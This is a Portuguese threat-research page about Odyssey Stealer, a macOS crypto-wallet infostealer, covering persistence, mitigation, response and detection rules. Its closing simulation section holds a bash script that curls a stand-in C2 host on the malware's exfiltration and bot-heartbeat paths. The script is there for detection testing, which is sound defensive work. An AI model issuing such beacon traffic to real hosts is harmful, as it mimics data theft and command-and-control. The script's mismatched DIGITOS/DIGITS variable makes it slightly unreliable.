SOC Prime Bias: Medium

13 Feb 2026 13:13 UTC

Odyssey Stealer: Dentro de uma Operação de Furto de Criptomoedas no macOS

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Odyssey Stealer: Dentro de uma Operação de Furto de Criptomoedas no macOS
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Odyssey Stealer é um infostealer para macOS focado em carteiras de criptomoedas e extensões. Ele é comercializado como uma plataforma Malware-as-a-Service onde afiliados alugam acesso a um C2 centralizado e painel de administração. A entrega geralmente depende de AppleScript ofuscado que instala um LaunchDaemon persistente que consulta o C2 para comandos. O operador também pode substituir aplicativos legítimos da Ledger e Trezor por versões trojanizadas para capturar credenciais e dados de transações.

Investigação

Pesquisadores identificaram o C2 usando tags meta HTML únicas, hashes do corpo da página e um hash de favicon compartilhado. Eles mapearam dez hosts físicos em vários clusters de ASN, principalmente na Europa e nos Países Baixos. A dissecação do payload revelou um dropper AppleScript de múltiplos estágios, persistência de LaunchDaemon e um binário proxy SOCKS5 compilado em Go. Dados de configuração embutidos no dropper expuseram identificadores de afiliados e IDs de builds.

Mitigação

Observe atividades suspeitas de osascript, especialmente longas strings ofuscadas, arquivos plist de LaunchDaemon desconhecidos com rótulos aleatórios e solicitações POST de saída para endpoints “/log”. Alerta sobre binários gerados por LaunchDaemon e atividades suspeitas de SOCKS5. Verifique a assinatura de código para aplicações Ledger e Trezor, e bloqueie domínios e endereços IP conhecidos de C2. Treine os usuários para tratar prompts de senha inesperados e “atualizações de carteira” como de alto risco.

Resposta

Quando detectado, isole o sistema, termine o LaunchDaemon malicioso e remova aplicações de carteira trojanizadas. Capture o tráfego de rede para os domínios e IPs identificados do C2 para investigação, em seguida, redefina credenciais de criptomoeda expostas e altere senhas do macOS. Realize uma revisão forense completa para identificar artefatos adicionais.

Fluxo de Ataque

Detecções

Arquivamento de Suporte de Aplicativo do Shell do macOS (via cmdline)

Equipe SOC Prime
13 Fev 2026

MacOS Osascript Gerando Curl (via cmdline)

Equipe SOC Prime
13 Fev 2026

Shell do macOS Gravando no Diretório LaunchDaemons (via file_event)

Equipe SOC Prime
13 Fev 2026

IOCs (SourceIP) para detectar: Odyssey Stealer: Dentro de uma Operação de Roubo de Criptomoedas no macOS

Regras AI SOC Prime
13 Fev 2026

IOCs (DestinationIP) para detectar: Odyssey Stealer: Dentro de uma Operação de Roubo de Criptomoedas no macOS

Regras AI SOC Prime
13 Fev 2026

IOCs (HashSha256) para detectar: Odyssey Stealer: Dentro de uma Operação de Roubo de Criptomoedas no macOS

Regras AI SOC Prime
13 Fev 2026

IOCs (HashMd5) para detectar: Odyssey Stealer: Dentro de uma Operação de Roubo de Criptomoedas no macOS

Regras AI SOC Prime
13 Fev 2026

Detecção Endpoint C2 do Odyssey Stealer [Servidor Web]

Regras AI SOC Prime
13 Fev 2026

Odyssey Stealer: Detecção de AppleScript Ofuscado e Uso de Curl [Criação de Processo Linux]

Regras AI SOC Prime
13 Fev 2026

Execução de Simulação

Pré-requisito: O Check de Telemetria & Pré-voo deve ter passado.

  • Narrativa do Ataque & Comandos:
    Um adversário implantou o Odyssey Stealer em uma estação de trabalho macOS. Após comprometer o usuário, o malware inicia um beacon para seu servidor C2 para baixar payloads adicionais e exfiltrar dados colhidos. O beacon usa o curl binário (binário Apple assinado) para emitir solicitações HTTP GET para os endpoints C2 definidos na regra. O atacante escolhe esses caminhos de URI específicos porque são curtos, se misturam com o tráfego web típico e evitam a detecção por soluções genéricas de filtragem de URL.

    Etapas:

    1. Resolva o nome do host C2 (simulado como c2.odyssey.example.com).
    2. Emita uma solicitação GET para /d/aff123456 – imita o endpoint de exfiltração de dados com um código de afiliado aleatório e token numérico.
    3. Emita uma solicitação GET para /api/v1/bot/ – simula o batimento cardíaco de gerenciamento de bot.
    4. Opcionalmente, envie uma solicitação para /log para emular o tráfego de registro interno usado pelo malware para relatórios de status.
  • Script de Teste de Regressão: O seguinte script bash reproduz o tráfego exato necessário para acionar a regra de detecção.

    #!/usr/bin/env bash
    # Simulação de beacon do Odyssey Stealer para validação de detecção
    # Requisitos: curl, proxy de rede configurado conforme etapas pré-voo
    
    C2_HOST="c2.odyssey.example.com"
    PROXY_HOST="127.0.0.1:3128"   # ajuste para o endereço do seu proxy Squid
    
    # Função para enviar uma solicitação via proxy
    enviar_requisicao() {
        local path=$1
        echo "[*] Enviando solicitação para https://${C2_HOST}${path} via proxy ${PROXY_HOST}"
        curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${path}"
    }
    
    # 1. Endpoint de exfiltração de dados (afiliado aleatório + dígitos)
    AFILIADO="aff$(shuf -i 1000-9999 -n 1)"
    DIGITOS=$(shuf -i 10000-99999 -n 1)
    enviar_requisicao "/d/${AFILIADO}${DIGITS}"
    
    # 2. Batimento cardíaco de gerenciamento de bot
    enviar_requisicao "/api/v1/bot/"
    
    # 3. Endpoint de registro opcional
    enviar_requisicao "/log"
    
    echo "[+] Simulação completa. Verifique os alertas no SIEM."

    Salve o script como odyssey_beacon.sh, torne-o executável (chmod +x odyssey_beacon.sh), e execute-o na máquina de teste macOS.

  • Comandos de Limpeza: Remova quaisquer arquivos temporários e opcionalmente desative o proxy para o usuário de teste.

    # Desative as configurações de proxy para a interface Wi-Fi
    networksetup -setwebproxystate "Wi-Fi" off
    networksetup -setsecurewebproxystate "Wi-Fi" off
    
    # (Opcional) Pare o Squid se ele foi iniciado apenas para este teste
    # brew services stop squid
    echo "Configurações de proxy restauradas e Squid parado (se aplicável)."